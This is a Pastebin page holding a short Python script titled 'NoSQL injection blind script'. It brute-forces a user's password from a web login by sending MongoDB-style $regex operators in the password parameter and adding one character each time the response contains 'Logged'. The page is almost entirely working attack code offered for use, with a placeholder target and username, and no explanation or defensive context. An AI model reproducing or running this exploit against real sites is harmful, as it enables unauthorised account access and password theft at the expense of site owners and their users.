Advertisement
Guest User

NoSQL injection blind script

a guest
Apr 25th, 2019
964
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.60 KB | None | 0 0
  1. import requests
  2. import urllib3
  3. import string
  4. import urllib
  5. urllib3.disable_warnings()
  6. username='hitmanalharbi' # Username
  7. password=''
  8. u='http://vulngeek.com/login' # Login URL
  9. while True:
  10.   for c in string.printable:
  11.     if c not in ['*','+','.','?','|', '#', '&', '$']:
  12.       payload='?username=%s&password[$regex]=^%s' % (username, password + c) # Use Regex in password input
  13.       r = requests.get(u + payload)
  14.       if 'Logged' in r.text: # write the success message here
  15.         print("Found one more char : %s" % (password+c)) # Output message when get a correct char
  16.         password += c
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement